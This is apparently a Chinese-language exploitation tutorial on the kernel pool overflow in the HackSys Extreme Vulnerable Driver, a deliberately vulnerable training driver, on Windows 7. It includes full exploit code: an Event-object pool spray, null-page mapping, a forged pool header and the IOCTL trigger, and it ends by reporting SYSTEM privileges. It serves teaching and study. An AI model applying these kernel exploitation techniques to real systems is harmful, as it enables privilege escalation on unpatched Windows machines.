[06] HEVD 内核漏洞之池溢出

0x00 前言

这一篇,我们继续研究一种新的漏洞类型,内核池溢出。深入探讨池溢出这个主题前, 我们需要先了解下池的基本概念, 有一定的内核池基本知识,才知道如何根据需要操纵它。池溢出相较于之前的漏洞类型,比较难以理解,ok,准备开始。

相关储备文章:

实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1

实验工具:VS2015+Windbg+KmdManager+DbgViewer

0x01漏洞原理
池风水

内核池类似于Windows 中的堆, 因为它的作用也是用来动态分配内存。 像堆喷射修改正常应用程序的堆一样,我们需要在内核领域找到一种办法来修改内存池,以便在内存区域精确地调用我们的shellcode。 理解内存分配器的概念以及如何影响池分配和释放机制相当重要。

在我们的HEVD驱动中,有漏洞的用户缓冲区被分配在非分页池,我们也需要找到一种方法来修改非分页池。Windows提供了Event对象,该对象存储与非分页池中,可以使用CreateEvent API来进行创建:

``

1
2
3
4
5
6
HANDLE WINAPI CreateEvent(
_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
_In_ BOOL bManualReset,
_In_ BOOL bInitialState,
_In_opt_ LPCTSTR lpName
);

这里我们需要用这个API创建两个足够大的Event对象数组,然后通过使用CloseHandle API 释放某些Event 对象,从而在分配的池块中造成空隙,经合并形成更大的空闲块:

1
2
3
HRESULT CloseHandle(
HANDLE hHandle
);

在这些空闲块中,我们需要将有漏洞的用户缓冲区插进去,以便每次准确地覆盖正确的内存位置。因为我们会破坏Event对象的相邻头部,以便跳转到包含shellcode的地址。之后,我们会把指针指向shellcode,这样就可以通过操纵损坏的池头部来调用它。 我们伪造一个OBJECT_TYPE头,覆盖指向OBJECT_TYPE_INITIALIZER中的一个过程的指针。

分析

打开驱动源码,看到漏洞函数TriggerBufferOverflowNonPagedPool:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
NTSTATUS TriggerBufferOverflowNonPagedPool(_In_ PVOID UserBuffer,_In_ SIZE_T Size){
PVOID KernelBuffer = NULL;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
__try
{
DbgPrint("[+] Allocating Pool chunk\n");
//
// Allocate Pool chunk
//
KernelBuffer = ExAllocatePoolWithTag(
NonPagedPool,
(SIZE_T)POOL_BUFFER_SIZE,
(ULONG)POOL_TAG
);
if (!KernelBuffer)
{
//
// Unable to allocate Pool chunk
//
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else
{
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
}
//
// Verify if the buffer resides in user mode
//
ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
#ifdef SECURE
//
// Secure Note: This is secure because the developer is passing a size
// equal to size of the allocated pool chunk to RtlCopyMemory()/memcpy().
// Hence, there will be no overflow
//
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Buffer Overflow in NonPagedPool\n");
//
// Vulnerability Note: This is a vanilla pool buffer overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
//
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif
if (KernelBuffer)
{
DbgPrint("[+] Freeing Pool chunk\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
//
// Free the allocated Pool chunk
//
ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
KernelBuffer = NULL;
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}

可以看到,原因和栈溢出如出一辙,直接使用用户传来的缓冲区大小而不是内核缓冲区大小进行拷贝。用户缓冲区数据过大,溢出到内核池毗邻的池块。IDA中我们可以看到:

img

申请标记为“Hack”的缓冲区,长度0x1f8即504B,后面我们将开始进行利用。

0x02漏洞利用

逆向得到IOCTL为0x22200f。我们写一个小测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <iostream>
#include<windows.h>
using namespace std;
int main(){
HANDLE hevDevice;
ULONG BytesReturned;

hevDevice = (HANDLE)CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);

if(!hevDevice || hevDevice == (HANDLE)-1)
{
printf("*** Couldn't get Device Driver handle");
exit(-1);
}
char buf[100];
int bufLength = 100;

DeviceIoControl(hevDevice, 0x22200f, buf, bufLength, NULL, 0, &BytesReturned, NULL);
return 0;
}

内核输出信息:

img

进入触发漏洞函数,可以看到池标记“Hack”,大小为0x1F8。

尝试给UserBuffer分配0x1f8字节大小,

img

现在不应该破坏相邻的内存块,因为现在UserBuffer的值为边界值,来分析一下池:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
kd> !pool 0x86D254F0
Pool page 86d254f0 region is Nonpaged pool
86d25000 size: 2e8 previous size: 0 (Allocated) Thre (Protected)
86d252e8 size: 8 previous size: 2e8 (Free) ....
86d252f0 size: 48 previous size: 8 (Allocated) Vad
86d25338 size: 50 previous size: 48 (Allocated) Vadm
86d25388 size: 50 previous size: 50 (Allocated) Vadm
86d253d8 size: 8 previous size: 50 (Free) VM3D
86d253e0 size: c8 previous size: 8 (Allocated) VM3D
86d254a8 size: 40 previous size: c8 (Free ) Even (Protected)
*86d254e8 size: 200 previous size: 40 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
86d256e8 size: 128 previous size: 200 (Allocated) Ntfi
86d25810 size: b8 previous size: 128 (Allocated) File (Protected)
86d258c8 size: 30 previous size: b8 (Free) CcSc
86d258f8 size: 138 previous size: 30 (Allocated) ALPC (Protected)
86d25a30 size: b8 previous size: 138 (Allocated) File (Protected)
86d25ae8 size: 40 previous size: b8 (Free) CcSc
86d25b28 size: 128 previous size: 40 (Allocated) Ntfi
86d25c50 size: b8 previous size: 128 (Allocated) File (Protected)
86d25d08 size: 230 previous size: b8 (Free) Irp
86d25f38 size: c8 previous size: 230 (Allocated) Time (Protected)

可以看到用KernelBuffer被完美分配,结束地址为下一池块起始地址:

img

溢出会是致命性的,将直接导致系统蓝屏崩溃,破坏了相邻的池块头部。

img

img

我们如何能够通过溢出控制相邻的头部。我们利用的这个漏洞可以以修改池的方式来使得池不再随机化。此前讨论的 CreateEvent API 可以胜任这个工作,它的大小为0x40个字节,正好可以匹配池的大小0x200个字节。

喷射大量Event对象,把它们的句柄存储在数组中,具体看一下过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 for (i = 0; i < 10000; i++) 
{
EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!EventObjectArrayA[i])
{
DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}

for (i = 0; i < 5000; i++)
{
EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);

if (!EventObjectArrayB[i]) {
DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
...
...
for (i = 0; i < 5000; i += 16) {
for (j = 0; j < 8; j++) {
if (!CloseHandle(EventObjectArrayB[i + j])) {
DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
}

主函数代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
__try {
// Get the device handle
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);

hFile = GetDeviceHandle(FileName);

if (hFile == INVALID_HANDLE_VALUE) {
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
}

DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");

// Allocate the Heap chunk
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
UserModeBufferSize);

if (!UserModeBuffer) {
DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer);
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize);
}

DEBUG_INFO("\t\t[+] Mapping Null Page\n");

if (!MapNullPage()) {
DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}

DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");

RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);

// Restore POOL_HEADER and set TypeIndex to 0x00 (TypeIndex is UChar)
Memory = (PVOID)((ULONG)UserModeBuffer + (ULONG)POOL_BUFFER_SIZE);
*(PULONG)Memory = (ULONG)0x04080040;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0xee657645;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000040;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000001;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000001;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00080000;

DEBUG_INFO("\t\t\t[+] TypeIndex Of Event Object Set To: 0x0\n");

DEBUG_INFO("\t\t[+] Preparing OBJECT_TYPE_INITIALIZER At Null Page\n");

// Set the DeleteProcedure to the address of our payload
*(PULONG)0x00000060 = (ULONG)EopPayload;

DEBUG_INFO("\t\t\t[+] DeleteProcedure: 0x%X\n", *(PULONG)0x00000060);
DEBUG_INFO("\t\t\t[+] DeleteProcedure Address: 0x%p\n", (ULONG)0x00000060);

DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);

DEBUG_INFO("\t\t[+] Preparing NonPaged Kernel Pool Layout\n");

DEBUG_INFO("\t\t\t[+] Spraying With Event Objects\n");

// Spray the NonPaged Pool
SprayNonPagedPoolWithEventObjects();

DEBUG_INFO("\t\t\t[+] Creating Holes By Coalescing\n");

// Create the holes for the vulnerable buffer
CreateHolesInNonPagedPoolByCoalescingEventObjects();

DEBUG_MESSAGE("\t[+] Triggering Pool Overflow\n");

OutputDebugString("****************Kernel Mode****************\n");

// Allocate the vulnerable buffer in one of the holes we created
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_POOL_OVERFLOW,
(LPVOID)UserModeBuffer,
(DWORD)UserModeBufferSize,
NULL,
0,
&BytesReturned,
NULL);

图片描述

我们的Event对象被喷射到非分页池中,现在我们需要在这些内存块创造一些空隙,然后把我们有漏洞的Hack缓冲区重新分配到这些空隙中。在重新分配有漏洞的缓冲区后,我们需要破坏相邻的池头部,以指向我们的shellcode地址。Event对象的大小为0x40个字节(0x38+0x8),包括池头部。

来分析一下头部:

图片描述

由于Event对象被喷射到非分页池中,所以我们可以将这些值加到缓冲区末尾,来实现利用。但是,简单这样做是行不通的,我们来研究下头部的数据结构,再稍作修改:

图片描述

我们感兴趣的部分是TypeIndex ,它实际上是指针数组中的偏移量大小,它定义了Windows所支持的每个对象的OBJECT_TYPE,来分析一下:

图片描述

这看起来可能有点复杂,但我已经标记出了重要的部分:

第一个指针是 00000000,在Windows 7下非常重要(下面解释);下一个突出显示的指针是 85f05418, 这是从0xc个数组元素开始的偏移量;分析到这,可以看出这是Event对象类型;现在最有趣的是偏移量0x28 处的TypeInfo成员:这个成员的最后部分有一些程序调用,我们可以从提供的程序中挑选以供己用,在这选择0x038处的 CloseProcedureCloseProcedure 的偏移量为 0x28 + 0x38 = 0x60我们会覆盖0x60处的这个指针,让它指向我们的shellcode地址,然后调用CloseProcedure方法,从而最终执行我们的shellcode。

我们的目标是把TypeIndex的偏移量从0xc改为0x0,因为第一个指针是空指针,在Windows 7 中有一个漏洞,可以调用 NtAllocateVirtualMemory来映射到Null页面:

1
2
3
4
5
6
7
8
NTSTATUS ZwAllocateVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);

然后调用WriteProcessMemory 覆盖0x60处的指针,指向shellcode地址:

1
2
3
4
5
6
7
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
);

整合之后代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <iostream>
#include<windows.h>
using namespace std;

#define NTSTATUS long

typedef NTSTATUS (WINAPI* ZWALLOCATEVIRTUALMEMORY)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
HANDLE EventObjectArrayA[10000];
HANDLE EventObjectArrayB[5000];

int main(){
HANDLE hevDevice;
ULONG BytesReturned = 100;

hevDevice = (HANDLE)CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);

if(!hevDevice || hevDevice == (HANDLE)-1)
{
printf("*** Couldn't get Device Driver handle");
// exit(-1);
}
ZWALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(LoadLibrary("ntdll.dll"),"NtAllocateVirtualMemory");
PVOID v1 =(PVOID)-1;
NTSTATUS Status = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,&v1,0,&BytesReturned,0x3000,0x40);
char shellcode[0x60]={0};
memset(shellcode,0x90,8);
PVOID shellcodeAddress = shellcode+20;
WriteProcessMemory((HANDLE)0xFFFFFFFF,(void*)0x60,&shellcodeAddress,0x4,&BytesReturned);
char buf[544];
memset(buf,'A',504);

PVOID Memory = (PVOID)((ULONG)buf + 504);
*(PULONG)Memory = (ULONG)0x04080040;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0xee657645;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000040;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000001;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000001;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00080000;

UINT32 i = 0;
UINT32 j = 0;
for (i = 0; i < 10000; i++) {
EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);

if (!EventObjectArrayA[i]) {
// exit(EXIT_FAILURE);
}
}

for (i = 0; i < 5000; i++) {
EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);

if (!EventObjectArrayB[i]) {
// exit(EXIT_FAILURE);
}
}

for (i = 0; i < 5000; i += 16) {
for (j = 0; j < 8; j++) {
if (!CloseHandle(EventObjectArrayB[i + j])) {

// exit(EXIT_FAILURE);
}
}
}

int bufLength = strlen(buf);
DeviceIoControl(hevDevice, 0x22200f, buf+20, bufLength, NULL, 0, &BytesReturned, NULL);
return 0;
}

测试:

图片描述

有漏洞的缓冲区现在位于我们创建的Event对象之间的空隙中。

图片描述

TypeIndex由 0xc 修改为 0x0

图片描述

shellcode地址布置完成!

现在,只需要调用 Closeprocedure,在 虚拟内存中 加载shellcode, shellcode应该完美运行。Payload参见这里。

图片描述

执行得到系统管理员权限:

img

0x03 漏洞反思

近些年池溢出方面的漏洞好像很少爆出来,不管怎么说,先大概了解一哈吧。

0x04 链接

这篇主要参考fyb波师傅的的文章:https://bbs.pediy.com/thread-223719.htm

rootkit原文链接:https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/